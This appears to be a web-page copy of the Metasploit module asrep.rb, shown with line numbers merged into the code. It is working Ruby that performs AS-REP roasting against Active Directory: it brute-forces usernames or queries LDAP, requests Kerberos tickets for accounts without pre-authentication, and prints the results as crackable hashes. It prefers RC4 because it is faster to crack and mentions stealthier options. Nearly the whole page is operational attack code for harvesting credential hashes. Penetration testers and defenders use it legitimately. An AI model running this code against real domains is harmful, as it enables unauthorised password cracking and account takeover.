Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/asrep.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Kerberos::Client7include Msf::Exploit::Remote::LDAP8include Msf::Exploit::Remote::LDAP::Queries9include Msf::OptionalSession::LDAP1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Find Users Without Pre-Auth Required (ASREP-roast)',16'Description' => %q{17This module searches for AD users without pre-auth required. Two different approaches18are provided:19- Brute force of usernames (does not require a user account; should not lock out accounts)20- LDAP lookup (requires an AD user account)21},22'License' => MSF_LICENSE,23'Author' => [24'smashery', # MSF Module25],26'References' => [27['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat']28],29'Notes' => {30'Stability' => [CRASH_SAFE],31'SideEffects' => [IOC_IN_LOGS],32'Reliability' => [],33'AKA' => ['preauth', 'asreproast']34},35'Actions' => [36['BRUTE_FORCE', { 'Description' => 'Brute force to find susceptible user accounts' } ],37['LDAP', { 'Description' => 'Ask a domain controller directly for the susceptible user accounts' } ],38],39'DefaultAction' => 'BRUTE_FORCE'40)41)4243register_options(44[45Opt::RHOSTS(nil, true, 'The target KDC, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html'),46OptPath.new('USER_FILE', [ false, 'File containing usernames, one per line' ], conditions: %w[ACTION == BRUTE_FORCE]),47OptBool.new('USE_RC4_HMAC', [ true, 'Request using RC4 hash instead of default encryption types (faster to crack)', true]),48OptString.new('Rhostname', [ false, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']),49]50)51register_option_group(name: 'SESSION',52description: 'Used when connecting to LDAP over an existing SESSION',53option_names: %w[RHOSTS],54required_options: %w[SESSION RHOSTS])55register_advanced_options(56[57OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]),58]59)6061default_config_file_path = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_default.yaml')62loaded_queries = safe_load_queries(default_config_file_path) || []63asrep_roast_query = loaded_queries.select { |entry| entry['action'] == 'ENUM_USER_ASREP_ROASTABLE' }64self.ldap_query = asrep_roast_query[0]65end6667def run68case action.name69when 'BRUTE_FORCE'70run_brute71when 'LDAP'72run_ldap73end74end7576def run_brute77result_count = 078user_file = datastore['USER_FILE']79username = datastore['USERNAME']80if user_file.blank? && username.blank?81fail_with(Msf::Module::Failure::BadConfig, 'User file or username must be specified when brute forcing')82end83if username.present?84begin85roast(datastore['USERNAME'])86result_count += 187rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e88# User either not present, or requires preauth89vprint_status("User: #{username} - #{e}")90end91end92if user_file.present?93File.open(user_file, 'rb') do |file|94file.each_line(chomp: true) do |user_from_file|95roast(user_from_file)96result_count += 197rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e98# User either not present, or requires preauth99vprint_status("User: #{user_from_file} - #{e}")100end101end102end103104if result_count == 0105print_error('No users found without preauth required')106else107print_line108print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.")109end110end111112def run_ldap113fail_with(Msf::Module::Failure::BadConfig, 'Must provide a username for connecting to LDAP') if datastore['USERNAME'].blank?114115ldap_connect do |ldap|116validate_bind_success!(ldap)117unless (base_dn = ldap.base_dn)118fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!")119end120121schema_dn = ldap.schema_dn122filter_string = ldap_query['filter']123attributes = ldap_query['attributes']124begin125filter = Net::LDAP::Filter.construct(filter_string)126rescue StandardError => e127fail_with(Failure::BadConfig, "Could not compile the filter #{filter_string}. Error was #{e}")128end129130print_line131result_count = perform_ldap_query_streaming(ldap, filter, attributes, base_dn, schema_dn) do |result, _attribute_properties|132username = result.samaccountname[0]133begin134roast(username)135rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e136print_error("#{username} reported as ASREP-roastable, but received error when attempting to retrieve TGT (#{e})")137end138end139if result_count == 0140print_error("No entries could be found for #{filter_string}!")141else142print_line143print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.")144end145end146end147148def roast(username)149res = send_request_tgt(150server_name: "krbtgt/#{datastore['domain']}",151client_name: username,152realm: datastore['DOMAIN'],153offered_etypes: etypes,154rport: 88,155rhost: datastore['RHOST']156)157hash = format_as_rep_to_john_hash(res.as_rep)158print_line(hash)159end160161def etypes162if datastore['USE_RC4_HMAC']163[Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC]164else165# We could just ask for AES256, but we have an opportunity to be stealthier by asking for a normal set of etypes,166# and expecting to receive AES256. This assumption may be broken in the future if additional encryption types are added167Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes168end169end170171attr_accessor :ldap_query # The LDAP query for this module, loaded from a yaml file172173end174175176